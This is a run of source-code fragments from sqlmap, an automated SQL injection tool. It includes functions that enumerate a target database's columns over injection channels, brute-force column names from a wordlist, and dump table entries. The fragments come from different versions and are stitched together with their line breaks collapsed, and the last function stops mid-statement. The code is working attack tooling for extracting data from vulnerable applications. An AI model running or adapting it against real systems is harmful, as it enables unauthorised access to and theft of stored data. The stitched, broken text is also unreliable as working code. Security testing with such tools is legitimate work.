def search(self): if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): for item in ('db', 'tbl', 'col'): if getattr(conf, item, None): setattr(conf, item, getattr(conf, item).upper()) if conf.col: self.searchColumn() elif conf.tbl: self.searchTable() elif conf.db: self.searchDb() else: errMsg = "missing parameter, provide -D, -T or -C along " errMsg += "with --search" raise SqlmapMissingMandatoryOptionException(errMsg)
debugMsg = "parsing configuration file" logger.debug(debugMsg) checkFile(configFile) configFP = codecs.open(configFile, "rb", UNICODE_ENCODING) try: config = UnicodeRawConfigParser() config.readfp(configFP) except (MissingSectionHeaderError, ParsingError), ex: errMsg = "you have provided an invalid configuration file ('%s')" % str(ex) raise SqlmapSyntaxException(errMsg) if not config.has_section("Target"): errMsg = "missing a mandatory section 'Target' in the configuration file" raise SqlmapMissingMandatoryOptionException(errMsg) condition = not config.has_option("Target", "direct") condition &= not config.has_option("Target", "url") condition &= not config.has_option("Target", "logFile") condition &= not config.has_option("Target", "bulkFile") condition &= not config.has_option("Target", "googleDork") condition &= not config.has_option("Target", "requestFile") condition &= not config.has_option("Target", "wizard") if condition: errMsg = "missing a mandatory option in the configuration file " errMsg += "(direct, url, logFile, bulkFile, googleDork, requestFile or wizard)" raise SqlmapMissingMandatoryOptionException(errMsg) for family, optionData in optDict.items():
def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMode=False): self.forceDbmsEnum() if conf.db is None or conf.db == CURRENT_DB: if conf.db is None: warnMsg = "missing database parameter. sqlmap is going " warnMsg += "to use the current database to enumerate " warnMsg += "table(s) columns" logger.warn(warnMsg) conf.db = self.getCurrentDb() if not conf.db: errMsg = "unable to retrieve the current " errMsg += "database name" raise SqlmapNoneDataException(errMsg) elif conf.db is not None: if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB): conf.db = conf.db.upper() if ',' in conf.db: errMsg = "only one database name is allowed when enumerating " errMsg += "the tables' columns" raise SqlmapMissingMandatoryOptionException(errMsg) conf.db = safeSQLIdentificatorNaming(conf.db) if conf.col: if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): conf.col = conf.col.upper() colList = conf.col.split(',') else: colList = [] if conf.excludeCol: colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')] for col in colList: colList[colList.index(col)] = safeSQLIdentificatorNaming(col) colList = filter(None, colList) if conf.tbl: if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB): conf.tbl = conf.tbl.upper() tblList = conf.tbl.split(",") else: self.getTables() if len(kb.data.cachedTables) > 0: if conf.db in kb.data.cachedTables: tblList = kb.data.cachedTables[conf.db] else: tblList = kb.data.cachedTables.values() if isinstance(tblList[0], (set, tuple, list)): tblList = tblList[0] tblList = list(tblList) elif not conf.search: errMsg = "unable to retrieve the tables " errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) raise SqlmapNoneDataException(errMsg) else: return kb.data.cachedColumns tblList = filter(None, (safeSQLIdentificatorNaming(_, True) for _ in tblList)) if bruteForce is None: if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: errMsg = "information_schema not available, " errMsg += "back-end DBMS is MySQL < 5.0" logger.error(errMsg) bruteForce = True elif Backend.isDbms(DBMS.ACCESS): errMsg = "cannot retrieve column names, " errMsg += "back-end DBMS is %s" % DBMS.ACCESS logger.error(errMsg) bruteForce = True if bruteForce: resumeAvailable = False for tbl in tblList: for db, table, colName, colType in kb.brute.columns: if db == conf.db and table == tbl: resumeAvailable = True break if resumeAvailable and not conf.freshQueries or colList: columns = {} for column in colList: columns[column] = None for tbl in tblList: for db, table, colName, colType in kb.brute.columns: if db == conf.db and table == tbl: columns[colName] = colType if conf.db in kb.data.cachedColumns: kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns else: kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = {safeSQLIdentificatorNaming(tbl, True): columns} return kb.data.cachedColumns message = "do you want to use common column existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS,) else "[y/N/q]") test = readInput(message, default="Y" if "Y" in message else "N") if test[0] in ("n", "N"): return elif test[0] in ("q", "Q"): raise SqlmapUserQuitException else: return columnExists(paths.COMMON_COLUMNS) rootQuery = queries[Backend.getIdentifiedDbms()].columns condition = rootQuery.blind.condition if 'condition' in rootQuery.blind else None if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: for tbl in tblList: if conf.db is not None and len(kb.data.cachedColumns) > 0 \ and conf.db in kb.data.cachedColumns and tbl in \ kb.data.cachedColumns[conf.db]: infoMsg = "fetched tables' columns on " infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) return {conf.db: kb.data.cachedColumns[conf.db]} infoMsg = "fetching columns " condQuery = "" if len(colList) > 0: if colTuple: _, colCondParam = colTuple infoMsg += "LIKE '%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList)) else: colCondParam = "='%s'" infoMsg += "'%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList)) condQueryStr = "%%s%s" % colCondParam condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList)) if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB): query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) query += condQuery elif Backend.isDbms(DBMS.MSSQL): query = rootQuery.inband.query % (conf.db, conf.db, conf.db, conf.db, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1]) query += condQuery.replace("[DB]", conf.db) elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD): query = rootQuery.inband.query % tbl if dumpMode and colList: values = [(_,) for _ in colList] else: infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl) infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) values = inject.getValue(query, blind=False, time=False) if Backend.isDbms(DBMS.MSSQL) and isNoneValue(values): index, values = 1, [] while True: query = rootQuery.inband.query2 % (conf.db, tbl, index) value = unArrayizeValue(inject.getValue(query, blind=False, time=False)) if isNoneValue(value) or value == " ": break else: values.append((value,)) index += 1 if Backend.isDbms(DBMS.SQLITE): parseSqliteTableSchema(unArrayizeValue(values)) elif not isNoneValue(values): table = {} columns = {} for columnData in values: if not isNoneValue(columnData): name = safeSQLIdentificatorNaming(columnData[0]) if name: if conf.getComments: _ = queries[Backend.getIdentifiedDbms()].column_comment if hasattr(_, "query"): if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): query = _.query % (unsafeSQLIdentificatorNaming(conf.db.upper()), unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(name.upper())) else: query = _.query % (unsafeSQLIdentificatorNaming(conf.db), unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(name)) comment = unArrayizeValue(inject.getValue(query, blind=False, time=False)) if not isNoneValue(comment): infoMsg = "retrieved comment '%s' for column '%s'" % (comment, name) logger.info(infoMsg) else: warnMsg = "on %s it is not " % Backend.getIdentifiedDbms() warnMsg += "possible to get column comments" singleTimeWarnMessage(warnMsg) if len(columnData) == 1: columns[name] = None else: if Backend.isDbms(DBMS.FIREBIRD): columnData[1] = FIREBIRD_TYPES.get(int(columnData[1]) if isinstance(columnData[1], basestring) and columnData[1].isdigit() else columnData[1], columnData[1]) columns[name] = columnData[1] if conf.db in kb.data.cachedColumns: kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns else: table[safeSQLIdentificatorNaming(tbl, True)] = columns kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table elif isInferenceAvailable() and not conf.direct: for tbl in tblList: if conf.db is not None and len(kb.data.cachedColumns) > 0 \ and conf.db in kb.data.cachedColumns and tbl in \ kb.data.cachedColumns[conf.db]: infoMsg = "fetched tables' columns on " infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) return {conf.db: kb.data.cachedColumns[conf.db]} infoMsg = "fetching columns " condQuery = "" if len(colList) > 0: if colTuple: _, colCondParam = colTuple infoMsg += "LIKE '%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList)) else: colCondParam = "='%s'" infoMsg += "'%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList)) condQueryStr = "%%s%s" % colCondParam condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList)) if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB): query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) query += condQuery elif Backend.isDbms(DBMS.MSSQL): query = rootQuery.blind.count % (conf.db, conf.db, \ unsafeSQLIdentificatorNaming(tbl).split(".")[-1]) query += condQuery.replace("[DB]", conf.db) elif Backend.isDbms(DBMS.FIREBIRD): query = rootQuery.blind.count % (tbl) query += condQuery elif Backend.isDbms(DBMS.SQLITE): query = rootQuery.blind.query % tbl value = unArrayizeValue(inject.getValue(query, union=False, error=False)) parseSqliteTableSchema(value) return kb.data.cachedColumns table = {} columns = {} if dumpMode and colList: count = 0 for value in colList: columns[safeSQLIdentificatorNaming(value)] = None else: infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl) infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): if Backend.isDbms(DBMS.MSSQL): count, index, values = 0, 1, [] while True: query = rootQuery.blind.query3 % (conf.db, tbl, index) value = unArrayizeValue(inject.getValue(query, union=False, error=False)) if isNoneValue(value) or value == " ": break else: columns[safeSQLIdentificatorNaming(value)] = None index += 1 if not columns: errMsg = "unable to retrieve the %scolumns " % ("number of " if not Backend.isDbms(DBMS.MSSQL) else "") errMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl) errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.error(errMsg) continue for index in getLimitRange(count): if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB): query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery field = None elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) query += condQuery field = None elif Backend.isDbms(DBMS.MSSQL): query = rootQuery.blind.query.replace("'%s'", "'%s'" % unsafeSQLIdentificatorNaming(tbl).split(".")[-1]).replace("%s", conf.db).replace("%d", str(index)) query += condQuery.replace("[DB]", conf.db) field = condition.replace("[DB]", conf.db) elif Backend.isDbms(DBMS.FIREBIRD): query = rootQuery.blind.query % (tbl) query += condQuery field = None query = agent.limitQuery(index, query, field, field) column = unArrayizeValue(inject.getValue(query, union=False, error=False)) if not isNoneValue(column): if conf.getComments: _ = queries[Backend.getIdentifiedDbms()].column_comment if hasattr(_, "query"): if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): query = _.query % (unsafeSQLIdentificatorNaming(conf.db.upper()), unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(column.upper())) else: query = _.query % (unsafeSQLIdentificatorNaming(conf.db), unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(column)) comment = unArrayizeValue(inject.getValue(query, union=False, error=False)) if not isNoneValue(comment): infoMsg = "retrieved comment '%s' for column '%s'" % (comment, column) logger.info(infoMsg) else: warnMsg = "on %s it is not " % Backend.getIdentifiedDbms() warnMsg += "possible to get column comments" singleTimeWarnMessage(warnMsg) if not onlyColNames: if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column, unsafeSQLIdentificatorNaming(conf.db)) elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl.upper()), column, unsafeSQLIdentificatorNaming(conf.db.upper())) elif Backend.isDbms(DBMS.MSSQL): query = rootQuery.blind.query2 % (conf.db, conf.db, conf.db, conf.db, column, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1]) elif Backend.isDbms(DBMS.FIREBIRD): query = rootQuery.blind.query2 % (tbl, column) colType = unArrayizeValue(inject.getValue(query, union=False, error=False)) if Backend.isDbms(DBMS.FIREBIRD): colType = FIREBIRD_TYPES.get(colType, colType) column = safeSQLIdentificatorNaming(column) columns[column] = colType else: column = safeSQLIdentificatorNaming(column) columns[column] = None if columns: if conf.db in kb.data.cachedColumns: kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns else: table[safeSQLIdentificatorNaming(tbl, True)] = columns kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table if not kb.data.cachedColumns: warnMsg = "unable to retrieve column names for " warnMsg += ("table '%s' " % unsafeSQLIdentificatorNaming(unArrayizeValue(tblList))) if len(tblList) == 1 else "any table " warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.warn(warnMsg) if bruteForce is None: return self.getColumns(onlyColNames=onlyColNames, colTuple=colTuple, bruteForce=True) return kb.data.cachedColumns
def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMode=False): self.forceDbmsEnum() if conf.db is None or conf.db == CURRENT_DB: if conf.db is None: warnMsg = "missing database parameter. sqlmap is going " warnMsg += "to use the current database to enumerate " warnMsg += "table(s) columns" logger.warn(warnMsg) conf.db = self.getCurrentDb() elif conf.db is not None: if ',' in conf.db: errMsg = "only one database name is allowed when enumerating " errMsg += "the tables' columns" raise SqlmapMissingMandatoryOptionException(errMsg) conf.db = safeSQLIdentificatorNaming(conf.db) if conf.col: colList = conf.col.split(',') else: colList = [] if conf.excludeCol: colList = [ _ for _ in colList if _ not in conf.excludeCol.split(',') ] for col in colList: colList[colList.index(col)] = safeSQLIdentificatorNaming(col) if conf.tbl: tblList = conf.tbl.split(',') else: self.getTables() if len(kb.data.cachedTables) > 0: tblList = kb.data.cachedTables.values() if isinstance(tblList[0], (set, tuple, list)): tblList = tblList[0] else: errMsg = "unable to retrieve the tables " errMsg += "on database '%s'" % unsafeSQLIdentificatorNaming( conf.db) raise SqlmapNoneDataException(errMsg) for tbl in tblList: tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True) if bruteForce: resumeAvailable = False for tbl in tblList: for db, table, colName, colType in kb.brute.columns: if db == conf.db and table == tbl: resumeAvailable = True break if resumeAvailable and not conf.freshQueries or colList: columns = {} for column in colList: columns[column] = None for tbl in tblList: for db, table, colName, colType in kb.brute.columns: if db == conf.db and table == tbl: columns[colName] = colType if conf.db in kb.data.cachedColumns: kb.data.cachedColumns[safeSQLIdentificatorNaming( conf.db)][safeSQLIdentificatorNaming( tbl, True)] = columns else: kb.data.cachedColumns[safeSQLIdentificatorNaming( conf.db)] = { safeSQLIdentificatorNaming(tbl, True): columns } return kb.data.cachedColumns message = "do you want to use common column existence check? [y/N/q] " choice = readInput(message, default='Y' if 'Y' in message else 'N').upper() if choice == 'N': return elif choice == 'Q': raise SqlmapUserQuitException else: return columnExists(paths.COMMON_COLUMNS) rootQuery = queries[DBMS.MAXDB].columns for tbl in tblList: if conf.db is not None and len(kb.data.cachedColumns) > 0 \ and conf.db in kb.data.cachedColumns and tbl in \ kb.data.cachedColumns[conf.db]: infoMsg = "fetched tables' columns on " infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming( conf.db) logger.info(infoMsg) return {conf.db: kb.data.cachedColumns[conf.db]} if dumpMode and colList: table = {} table[safeSQLIdentificatorNaming(tbl)] = dict( (_, None) for _ in colList) kb.data.cachedColumns[safeSQLIdentificatorNaming( conf.db)] = table continue infoMsg = "fetching columns " infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl) infoMsg += "on database '%s'" % unsafeSQLIdentificatorNaming( conf.db) logger.info(infoMsg) randStr = randomStr() query = rootQuery.inband.query % ( unsafeSQLIdentificatorNaming(tbl), ("'%s'" % unsafeSQLIdentificatorNaming(conf.db)) if unsafeSQLIdentificatorNaming(conf.db) != "USER" else 'USER') retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), [ '%s.columnname' % randStr, '%s.datatype' % randStr, '%s.len' % randStr ], blind=True) if retVal: table = {} columns = {} for columnname, datatype, length in zip( retVal[0]["%s.columnname" % randStr], retVal[0]["%s.datatype" % randStr], retVal[0]["%s.len" % randStr]): columns[safeSQLIdentificatorNaming( columnname)] = "%s(%s)" % (datatype, length) table[tbl] = columns kb.data.cachedColumns[conf.db] = table return kb.data.cachedColumns
def columnExists(columnFile, regex=None): if kb.columnExistsChoice is None and not any(_ for _ in kb.injection.data if _ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) and not conf.direct: warnMsg = "it's not recommended to use '%s' and/or '%s' " % (PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.TIME], PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.STACKED]) warnMsg += "for common column existence check" logger.warn(warnMsg) message = "are you sure you want to continue? [y/N] " kb.columnExistsChoice = readInput(message, default='N', boolean=True) if not kb.columnExistsChoice: return None if not conf.tbl: errMsg = "missing table parameter" raise SqlmapMissingMandatoryOptionException(errMsg) if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): conf.db = conf.db.upper() result = inject.checkBooleanExpression(safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE, (randomStr(), randomStr()))) if result: errMsg = "can't use column existence check because of detected invalid results " errMsg += "(most likely caused by inability of the used injection " errMsg += "to distinguish erroneous results)" raise SqlmapDataException(errMsg) message = "which common columns (wordlist) file do you want to use?\n" message += "[1] default '%s' (press Enter)\n" % columnFile message += "[2] custom" choice = readInput(message, default='1') if choice == '2': message = "what's the custom common columns file location?\n" columnFile = readInput(message) or columnFile infoMsg = "checking column existence using items from '%s'" % columnFile logger.info(infoMsg) columns = getFileItems(columnFile, unique=True) columns.extend(_addPageTextWords()) columns = filterListValue(columns, regex) table = safeSQLIdentificatorNaming(conf.tbl, True) if conf.db and METADB_SUFFIX not in conf.db and Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD): table = "%s.%s" % (safeSQLIdentificatorNaming(conf.db), table) kb.threadContinue = True kb.bruteMode = True threadData = getCurrentThreadData() threadData.shared.count = 0 threadData.shared.limit = len(columns) threadData.shared.value = [] def columnExistsThread(): threadData = getCurrentThreadData() while kb.threadContinue: kb.locks.count.acquire() if threadData.shared.count < threadData.shared.limit: column = safeSQLIdentificatorNaming(columns[threadData.shared.count]) threadData.shared.count += 1 kb.locks.count.release() else: kb.locks.count.release() break result = inject.checkBooleanExpression(safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE, (column, table))) kb.locks.io.acquire() if result: threadData.shared.value.append(column) if conf.verbose in (1, 2) and not conf.api: clearConsoleLine(True) infoMsg = "[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), unsafeSQLIdentificatorNaming(column)) dataToStdout(infoMsg, True) if conf.verbose in (1, 2): status = "%d/%d items (%d%%)" % (threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit)) dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True) kb.locks.io.release() try: runThreads(conf.threads, columnExistsThread, threadChoice=True) except KeyboardInterrupt: warnMsg = "user aborted during column existence " warnMsg += "check. sqlmap will display partial output" logger.warn(warnMsg) clearConsoleLine(True) dataToStdout("\n") if not threadData.shared.value: warnMsg = "no column(s) found" logger.warn(warnMsg) else: columns = {} for column in threadData.shared.value: if Backend.getIdentifiedDbms() in (DBMS.MYSQL,): result = not inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE %s REGEXP '[^0-9]')", (column, table, column))) else: result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE ROUND(%s)=ROUND(%s))", (column, table, column, column))) if result: columns[column] = "numeric" else: columns[column] = "non-numeric" kb.data.cachedColumns[conf.db] = {conf.tbl: columns} for _ in ((conf.db, conf.tbl, item[0], item[1]) for item in list(columns.items())): if _ not in kb.brute.columns: kb.brute.columns.append(_) hashDBWrite(HASHDB_KEYS.KB_BRUTE_COLUMNS, kb.brute.columns, True) return kb.data.cachedColumns
def dumpTable(self, foundData=None): self.forceDbmsEnum() if conf.db is None or conf.db == CURRENT_DB: if conf.db is None: warnMsg = "missing database parameter. sqlmap is going " warnMsg += "to use the current database to enumerate " warnMsg += "table(s) entries" logger.warn(warnMsg) conf.db = self.getCurrentDb() elif conf.db is not None: if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: conf.db = conf.db.upper() if ',' in conf.db: errMsg = "only one database name is allowed when enumerating " errMsg += "the tables' columns" raise SqlmapMissingMandatoryOptionException(errMsg) if conf.exclude and re.search(conf.exclude, conf.db, re.I) is not None: infoMsg = "skipping database '%s'" % unsafeSQLIdentificatorNaming( conf.db) singleTimeLogMessage(infoMsg) return conf.db = safeSQLIdentificatorNaming(conf.db) if conf.tbl: if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: conf.tbl = conf.tbl.upper() tblList = conf.tbl.split(',') else: self.getTables() if len(kb.data.cachedTables) > 0: tblList = list(six.itervalues(kb.data.cachedTables)) if tblList and isListLike(tblList[0]): tblList = tblList[0] elif not conf.search: errMsg = "unable to retrieve the tables " errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming( conf.db) raise SqlmapNoneDataException(errMsg) else: return for tbl in tblList: tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True) for tbl in tblList: if kb.dumpKeyboardInterrupt: break if conf.exclude and re.search(conf.exclude, tbl, re.I) is not None: infoMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming( tbl) singleTimeLogMessage(infoMsg) continue conf.tbl = tbl kb.data.dumpedTable = {} if foundData is None: kb.data.cachedColumns = {} self.getColumns(onlyColNames=True, dumpMode=True) else: kb.data.cachedColumns = foundData try: if Backend.isDbms(DBMS.INFORMIX): kb.dumpTable = "%s:%s" % (conf.db, tbl) elif Backend.isDbms(DBMS.SQLITE): kb.dumpTable = tbl else: kb.dumpTable = "%s.%s" % (conf.db, tbl) if safeSQLIdentificatorNaming( conf.db ) not in kb.data.cachedColumns or safeSQLIdentificatorNaming( tbl, True ) not in kb.data.cachedColumns[safeSQLIdentificatorNaming( conf.db )] or not kb.data.cachedColumns[safeSQLIdentificatorNaming( conf.db)][safeSQLIdentificatorNaming(tbl, True)]: warnMsg = "unable to enumerate the columns for table " warnMsg += "'%s' in database" % unsafeSQLIdentificatorNaming( tbl) warnMsg += " '%s'" % unsafeSQLIdentificatorNaming(conf.db) warnMsg += ", skipping" if len(tblList) > 1 else "" logger.warn(warnMsg) continue columns = kb.data.cachedColumns[safeSQLIdentificatorNaming( conf.db)][safeSQLIdentificatorNaming(tbl, True)] colList = sorted(column for column in columns if column) if conf.exclude: colList = [ _ for _ in colList if re.search(conf.exclude, _, re.I) is None ] if not colList: warnMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming( tbl) warnMsg += " in database '%s'" % unsafeSQLIdentificatorNaming( conf.db) warnMsg += " (no usable column names)" logger.warn(warnMsg) continue kb.dumpColumns = [ unsafeSQLIdentificatorNaming(_) for _ in colList ] colNames = colString = ','.join(column for column in colList) rootQuery = queries[Backend.getIdentifiedDbms()].dump_table infoMsg = "fetching entries" if conf.col: infoMsg += " of column(s) '%s'" % colNames infoMsg += " for table '%s'" % unsafeSQLIdentificatorNaming( tbl) infoMsg += " in database '%s'" % unsafeSQLIdentificatorNaming( conf.db) logger.info(infoMsg) for column in colList: _ = agent.preprocessField(tbl, column) if _ != column: colString = re.sub(r"\b%s\b" % re.escape(column), _.replace("\\", r"\\"), colString) entriesCount = 0 if any( isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: entries = [] query = None if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL): query = rootQuery.inband.query % ( colString, tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper()))) elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.MCKOI, DBMS.EXTREMEDB): query = rootQuery.inband.query % (colString, tbl) elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL): # Partial inband and error if not (isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) and kb.injection.data[PAYLOAD.TECHNIQUE.UNION]. where == PAYLOAD.WHERE.ORIGINAL): table = "%s.%s" % (conf.db, tbl) if Backend.isDbms( DBMS.MSSQL) and not conf.forcePivoting: warnMsg = "in case of table dumping problems (e.g. column entry order) " warnMsg += "you are advised to rerun with '--force-pivoting'" singleTimeWarnMessage(warnMsg) query = rootQuery.blind.count % table query = agent.whereQuery(query) count = inject.getValue( query, blind=False, time=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if isNumPosStrValue(count): try: indexRange = getLimitRange( count, plusOne=True) for index in indexRange: row = [] for column in colList: query = rootQuery.blind.query3 % ( column, column, table, index) query = agent.whereQuery(query) value = inject.getValue( query, blind=False, time=False, dump=True) or "" row.append(value) if not entries and isNoneValue( row): break entries.append(row) except KeyboardInterrupt: kb.dumpKeyboardInterrupt = True clearConsoleLine() warnMsg = "Ctrl+C detected in dumping phase" logger.warn(warnMsg) if isNoneValue( entries) and not kb.dumpKeyboardInterrupt: try: retVal = pivotDumpTable(table, colList, blind=False) except KeyboardInterrupt: retVal = None kb.dumpKeyboardInterrupt = True clearConsoleLine() warnMsg = "Ctrl+C detected in dumping phase" logger.warn(warnMsg) if retVal: entries, _ = retVal entries = BigArray( _zip(*[ entries[colName] for colName in colList ])) else: query = rootQuery.inband.query % (colString, conf.db, tbl) elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE): query = rootQuery.inband.query % ( colString, conf.db, tbl, prioritySortColumns(colList)[0]) else: query = rootQuery.inband.query % (colString, conf.db, tbl) query = agent.whereQuery(query) if not entries and query and not kb.dumpKeyboardInterrupt: try: entries = inject.getValue(query, blind=False, time=False, dump=True) except KeyboardInterrupt: entries = None kb.dumpKeyboardInterrupt = True clearConsoleLine() warnMsg = "Ctrl+C detected in dumping phase" logger.warn(warnMsg) if not isNoneValue(entries): if isinstance(entries, six.string_types): entries = [entries] elif not isListLike(entries): entries = [] entriesCount = len(entries) for index, column in enumerate(colList): if column not in kb.data.dumpedTable: kb.data.dumpedTable[column] = { "length": len(column), "values": BigArray() } for entry in entries: if entry is None or len(entry) == 0: continue if isinstance(entry, six.string_types): colEntry = entry else: colEntry = unArrayizeValue( entry[index] ) if index < len(entry) else u'' maxLen = max( getConsoleLength(column), getConsoleLength( DUMP_REPLACEMENTS.get( getUnicode(colEntry), getUnicode(colEntry)))) if maxLen > kb.data.dumpedTable[column][ "length"]: kb.data.dumpedTable[column][ "length"] = maxLen kb.data.dumpedTable[column]["values"].append( colEntry) if not kb.data.dumpedTable and isInferenceAvailable( ) and not conf.direct: infoMsg = "fetching number of " if conf.col: infoMsg += "column(s) '%s' " % colNames infoMsg += "entries for table '%s' " % unsafeSQLIdentificatorNaming( tbl) infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming( conf.db) logger.info(infoMsg) if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL): query = rootQuery.blind.count % ( tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper()))) elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MCKOI, DBMS.EXTREMEDB): query = rootQuery.blind.count % tbl elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL): query = rootQuery.blind.count % ("%s.%s" % (conf.db, tbl)) elif 